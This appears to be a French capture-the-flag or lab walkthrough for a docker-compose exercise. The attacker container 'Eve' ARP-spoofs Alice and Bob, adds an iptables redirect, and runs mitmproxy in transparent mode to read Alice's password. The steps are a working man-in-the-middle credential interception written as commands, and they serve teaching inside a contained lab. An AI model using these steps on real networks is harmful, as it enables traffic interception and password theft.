

# Méthode de résolution



Pour lancer ce challenge il faut docker compose. Pour l'installer vous pouvez utiliser  
**apt install docker-compose**

Pour compiler les dockers dans le fichier:  
**docker-compose up -d**

Il faudra maintenant créer plusieurs terminaux pour Eve l'attaquante qui doit intercepter les connexions de Alice au site web de Bob.

Pour se connecter au terminal de Eve :  
**docker exec -it mitm\_eve /bin/sh**

Pour connaître les Ips vous pouvez utiliser  
**dig alice**  
**dig bob**

Il faut ensuite :

**arp spoof -t <alice\_ip> <bob\_ip>**

Puis dans une autre fenêtre :

**arp spoof -t <bob\_ip> <alice\_ip>**

Il faut maintenant exécuter le script add\_iptables\_rule.sh dans le dossier eve\_files.

Il faut lancer un proxy qui permet de consulter le trafic :

### **mitmproxy -m transparent**

Il suffit alors d'observer une requête de Alice pour découvrir son mot de passe.